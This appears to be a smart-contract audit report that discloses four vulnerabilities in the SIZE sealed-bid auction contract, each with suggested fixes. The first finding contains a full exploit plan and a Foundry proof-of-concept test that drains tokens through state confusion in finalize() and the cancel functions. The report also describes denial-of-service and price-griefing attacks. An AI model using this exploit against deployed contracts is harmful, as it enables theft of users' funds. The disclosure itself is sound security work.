SIZE contest - Trust's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Vulnerability details

HIGH: Attacker can steal any funds in the contract by state confusion (no preconditions) LOC: https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Description

Auctions in SIZE can be in one of several states, as checked in the atState() modifier:

modifier atState(Auction storage a, States _state) {
    if (block.timestamp < a.timings.startTimestamp) {
        if (_state != States.Created) revert InvalidState();
    } else if (block.timestamp < a.timings.endTimestamp) {
        if (_state != States.AcceptingBids) revert InvalidState();
    } else if (a.data.lowestQuote != type(uint128).max) {
        if (_state != States.Finalized) revert InvalidState();
    } else if (block.timestamp <= a.timings.endTimestamp + 24 hours) {
        if (_state != States.RevealPeriod) revert InvalidState();
    } else if (block.timestamp > a.timings.endTimestamp + 24 hours) {
        if (_state != States.Voided) revert InvalidState();
    } else {
        revert();
    }
    _;
}

It's important to note that if current block timestamp is greater than endTimestamp, a.data.lowestQuote is used to determine if finalize() was called.

The value is set to max at createAuction. In finalize, it is set again, using user-controlled input:

// Last filled bid is the clearing price
a.data.lowestBase = clearingBase;
a.data.lowestQuote = clearingQuote;

The issue is that it is possible to break the state machine by calling finalize() and setting lowestQuote to type(uint128).max. If the other parameters are crafted correctly, finalize() will succeed and perform transfers of unsold base amount and traded quote amount:

// Transfer the left over baseToken
if (data.totalBaseAmount != data.filledBase) {
    uint128 unsoldBase = data.totalBaseAmount - data.filledBase;
    a.params.totalBaseAmount = data.filledBase;
    SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), a.data.seller, unsoldBase);
}
// Calculate quote amount based on clearing price
uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote, data.filledBase, clearingBase);
SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), a.data.seller, filledQuote);

Critically, attacker will later be able to call cancelAuction() and cancelBid(), as they are allowed as long as the auction has not finalized:

function cancelAuction(uint256 auctionId) external {
    Auction storage a = idToAuction[auctionId];
    if (msg.sender != a.data.seller) {
        revert UnauthorizedCaller();
    }
    // Only allow cancellations before finalization
    // Equivalent to atState(idToAuction[auctionId], ~STATE_FINALIZED)
    if (a.data.lowestQuote != type(uint128).max) {
        revert InvalidState();
    }
    // Allowing bidders to cancel bids (withdraw quote)
    // Auction considered forever States.AcceptingBids but nobody can finalize
    a.data.seller = address(0);
    a.timings.endTimestamp = type(uint32).max;
    emit AuctionCancelled(auctionId);
    SafeTransferLib.safeTransfer(ERC20(a.params.baseToken), msg.sender, a.params.totalBaseAmount);
}

function cancelBid(uint256 auctionId, uint256 bidIndex)
    external
{
    Auction storage a = idToAuction[auctionId];
    EncryptedBid storage b = a.bids[bidIndex];
    if (msg.sender != b.sender) {
        revert UnauthorizedCaller();
    }
    // Only allow bid cancellations while not finalized or in the reveal period
    if (block.timestamp >= a.timings.endTimestamp) {
        if (a.data.lowestQuote != type(uint128).max || block.timestamp <= a.timings.endTimestamp + 24 hours) {
            revert InvalidState();
        }
    }
    // Prevent any futher access to this EncryptedBid
    b.sender = address(0);
    // Prevent seller from finalizing a cancelled bid
    b.commitment = 0;
    emit BidCancelled(auctionId, bidIndex);
    SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, b.quoteAmount);
}

The attack will look as follows:

1. attacker uses two contracts - buyer and seller
2. seller creates an auction, with no vesting period and ends in 1 second. Passes X base tokens.
3. buyer bids on the auction, using baseAmount=quoteAmount (ratio is 1:1). Passes Y quote tokens, where Y < X.
4. after 1 second, seller calls reveal() and finalizes, with lowestQuote = lowestBase = 2**128-1.
5. seller contract receives X-Y unsold base tokens and Y quote tokens
6. seller calls cancelAuction(). They are sent back remaining totalBaseAmount, which is X - (X-Y) = Y base tokens. They now have the same amount of base tokens they started with. cancelAuction sets endTimestamp = type(uint32).max
7. buyer calls cancelBid. Because endTimestamp is set to max, the call succeeds. Buyer gets back Y quote tokens.
8. The accounting shows attacker profited Y quote tokens, which are both in buyer and seller's contract.

Note that the values of minimumBidQuote, reserveQuotePerbase must be carefully chosen to satisfy all the inequality requirements in createAuction(), bid() and finalize(). This is why merely spotting that lowestQuote may be set to max in finalize is not enough and in my opinion, POC-ing the entire flow is necessary for a valid finding.

This was the main constraint to bypass:

uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount);
...
data.previousQuotePerBase = quotePerBase;
...
if (data.previousQuotePerBase != FixedPointMathLib.mulDivDown(clearingQuote, type(uint128).max, clearingBase)) {
            revert InvalidCalldata();
        }

Since clearingQuote must equal UINT128_MAX, we must satisfy: (2**128-1) * (2**128-1) / clearingBase = quoteAmount * (2**128-1) / baseAmount. The solution I found was setting clearingBase to (2**128-1) and quoteAmount = baseAmount.

We also have constraints on reserveQuotePerBase. In createAuction:

if (
    FixedPointMathLib.mulDivDown(
        auctionParams.minimumBidQuote, type(uint128).max, auctionParams.totalBaseAmount
    ) > auctionParams.reserveQuotePerBase
) {
    revert InvalidReserve();
}

While in finalize():

// Only fill if above reserve price
if (quotePerBase < data.reserveQuotePerBase) continue;

And an important constraint on quoteAmount and minimumBidQuote:

if (quoteAmount == 0 || quoteAmount == type(uint128).max || quoteAmount < a.params.minimumBidQuote) {
    revert InvalidBidAmount();
}

Merging them gives us two equations to substitute variables in:

1. minimumBidQuote / totalBaseAmount < reserveQuotePerBase <= UINT128_MAX / clearingBase
2. quoteAmount > minimumBidQuote

In the POC I've crafted parameters to steal 2**30 quote tokens, around 1000 in USDC denomination. With the above equations, increasing or decreasing the stolen amount is simple.

Impact

An attacker can steal all tokens held in the SIZE auction contract.

Proof of Concept

Copy the following code in SizeSealed.t.sol

function testAttack() public {
    quoteToken = new MockERC20("USD Coin", "USDC", 6);
    baseToken = new MockERC20("DAI stablecoin ", "DAI", 18);
    // Bootstrap auction contract with some funds
    baseToken.mint(address(auction), 1e20);
    quoteToken.mint(address(auction), 1e12);
    // Create attacker
    MockSeller attacker_seller  = new MockSeller(address(auction), quoteToken, baseToken);
    MockBuyer attacker_buyer = new MockBuyer(address(auction), quoteToken, baseToken);
    // Print attacker balances
    uint256 balance_quote;
    uint256 balance_base;
    (balance_quote, balance_base) = attacker_seller.balances();
    console.log("Starting seller balance: ", balance_quote, balance_base);
    (balance_quote, balance_base) = attacker_buyer.balances();
    console.log('Starting buyer balance: ', balance_quote, balance_base);
    // Create auction
    uint256 auction_id = attacker_seller.createAuction(
        2**32,  // totalBaseAmount
        2**120, // reserveQuotePerBase
        2**20, // minimumBidQuote
        uint32(block.timestamp), // startTimestamp
        uint32(block.timestamp + 1),  // endTimestamp
        uint32(block.timestamp + 1), // vestingStartTimestamp
        uint32(block.timestamp + 1), // vestingEndTimestamp
        0 // cliffPercent
    );
    // Bid on auction
    attacker_buyer.setAuctionId(auction_id);
    attacker_buyer.bidOnAuction(
        2**30, // baseAmount
        2**30  // quoteAmount
    );
    // Finalize with clearingQuote = clearingBase = 2**128-1
    // Will transfer unsold base amount + matched quote amount
    uint256[] memory bidIndices = new uint[](1);
    bidIndices[0] = 0;
    vm.warp(block.timestamp + 10);
    attacker_seller.finalize(bidIndices, 2**128-1, 2**128-1);
    // Cancel auction
    // Will transfer back sold base amount
    attacker_seller.cancelAuction();
    // Cancel bid
    // Will transfer back to buyer quoteAmount
    attacker_buyer.cancel();
    // Net profit of quoteAmount tokens of quoteToken
    (balance_quote, balance_base) = attacker_seller.balances();
    console.log("End seller balance: ", balance_quote, balance_base);
    (balance_quote, balance_base) = attacker_buyer.balances();
    console.log('End buyer balance: ', balance_quote, balance_base);
}

Tools Used

Manual audit, foundry tests

Recommended Mitigation Steps

Do not trust the value of lowestQuote when determining the finalize state, use a dedicated state variable for it.

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L103-L104 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L163

Vulnerability details

Description

SIZE auctions do not support fee-on-transfer tokens. The platform rejects taxed baseToken during createAuction:

// Passes https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol#L9
// Transfer base tokens to auction contract and check for tax tokens
uint256 balanceBeforeTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this));
SafeTransferLib.safeTransferFrom(
    ERC20(auctionParams.baseToken), msg.sender, address(this), auctionParams.totalBaseAmount
);
uint256 balanceAfterTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this));
if (balanceAfterTransfer - balanceBeforeTransfer != auctionParams.totalBaseAmount) {
    revert UnexpectedBalanceChange();
}

The issue is that this check is not implemented for quoteToken:

SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg.sender, address(this), quoteAmount);
emit Bid(
    msg.sender, auctionId, bidIndex, quoteAmount, commitment, pubKey, encryptedMessage, encryptedPrivateKey
);

bid() will succeed in sending quoteAmount of quoteToken. Therefore, any amount of quoteToken sent to the contract may be permanently stuck, as the rest of the contract functionality does not support fee tokens.

For example, cancelBid:

function cancelBid(uint256 auctionId, uint256 bidIndex)
    external
{
    Auction storage a = idToAuction[auctionId];
    EncryptedBid storage b = a.bids[bidIndex];
	  ...
    emit BidCancelled(auctionId, bidIndex);
    SafeTransferLib.safeTransfer(ERC20(a.params.quoteToken), msg.sender, b.quoteAmount);
}

It will attempt to transfer entire quoteAmount, which will deterministically fail because there is no "quoteAmount" available to be sent (unless it will use other user's funds which is also high severity issue).

The finalize() flow will fail similarly by assuming there is enough quoteTokens to be sent.

Note that users are not warned that the contract does not support fee-on-transfer tokens, the design is to not allow it in the first place, which would be fine if done right.

Impact

Any use of fee-on-transfer tokens as quote tokens in auctions will result in freeze or loss of funds for users.

Tools Used

Manual audit

Recommended Mitigation Steps

Two possible mitigations:

1. Perform the same balance check when transferring quoteTokens to the contract
2. Whitelist quoteTokens

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L258-L263 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157-L159 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269-L280

Vulnerability details

Description

Buyers submit bids to SIZE using the bid() function. There's a max of 1000 bids allowed per auction in order to stop DOS attacks (Otherwise it could become too costly to execute the finalize loop). However, setting a max on number of bids opens up other DOS attacks.

In the finalize loop this code is used:

ECCMath.Point memory sharedPoint = ECCMath.ecMul(b.pubKey, sellerPriv);
// If the bidder public key isn't on the bn128 curve
if (sharedPoint.x == 1 && sharedPoint.y == 1) continue;
bytes32 decryptedMessage = ECCMath.decryptMessage(sharedPoint, b.encryptedMessage);
// If the bidder didn't faithfully submit commitment or pubkey
// Or the bid was cancelled
if (computeCommitment(decryptedMessage) != b.commitment) continue;

Note that pubKey is never validated. Therefore, attacker may pass pubKey = (0,0). In ecMul, the code will return (1,1): if (scalar == 0 || (point.x == 0 && point.y == 0)) return Point(1, 1); As a result, we enter the continue block and the bid is ignored. Later, the bidder may receive their quote amount back using refund().

Another way to reach continue is by passing a 0 commitment.

One last way to force the auction to reject a bid is a low quotePerBase:

uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmount, type(uint128).max, baseAmount);
// Only fill if above reserve price
if (quotePerBase < data.reserveQuotePerBase) continue;

baseAmount is not validated as it is encrypted to seller's public key. Therefore, buyer may pass baseAmount = 0, making quotePerBase = 0.

So, attacker may submit 1000 invalid bids and completely DOS the auction.

Impact

Attacker may DOS auctions using invalid bid parameters.

Tools Used

Manual audit

Recommended Mitigation Steps

Implement a slashing mechanism. If the bid cannot be executed due to user's fault, some % their submitted quote tokens will go to the protocol and auction creator.

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Vulnerability details

Description

In SIZE, the quote to base ratio is determined by selecting the lowest ratio that is used to fill an auction. This is an issue because it allows attackers to easily grief sellers by inserting a bid that is over the minimum bid, but much lower than 99% of existing bids. This will cause a nonlinear drop in the applied ratio for ALL trades executed.

Another way this may be abused is by a buyer, who suspects that an auction that is about to close has a big drop before the last filled bid, or it is still to be filled completely. They can simply send a bid with min amount and min ratio, to make all the executions trade at the low ratio.

Note that both the griefing attack and the price-lowering attack are basically risk free - if they are not included in the filled order, attacker may simply call refund() to claim their quote tokens back.

Impact

Seller suffers a severe underpricing of the sold base tokens.

Proof of Concept

Consider the following scenario:

1. Alice offers 10 ETH (base) for USDC (quote), with minimum bid $200 and minimum ratio 1000:1
2. Bob offers 16,000 USDC for 8 ETH, ratio = 2000
3. Chalie offers 2,700 USDC for 1.8 ETH, ratio = 1500
4. Close to bidding window closing, Eve offers 800 USDC for 0.8 ETH, ratio = 1000
5. In finalize(), the clearance ratio will be 1000:1. Alice will receive 10,000 USDC.
6. If Eve did not grief, clearance ratio would be 1500:1, and Alice would receive 14,700 USDC , plus keep her 0.2 ETH.

Tools Used

Manual audit

Recommended Mitigation Steps

In finalize() called by reveal(), seller should be able to choose a desired number of indexes to execute the trade with. Therefore, they can bypass a single "rotten" bid and interact with the rest of them. This is not unfair to the other bidders since they are still receiving the best price that is accepted by seller.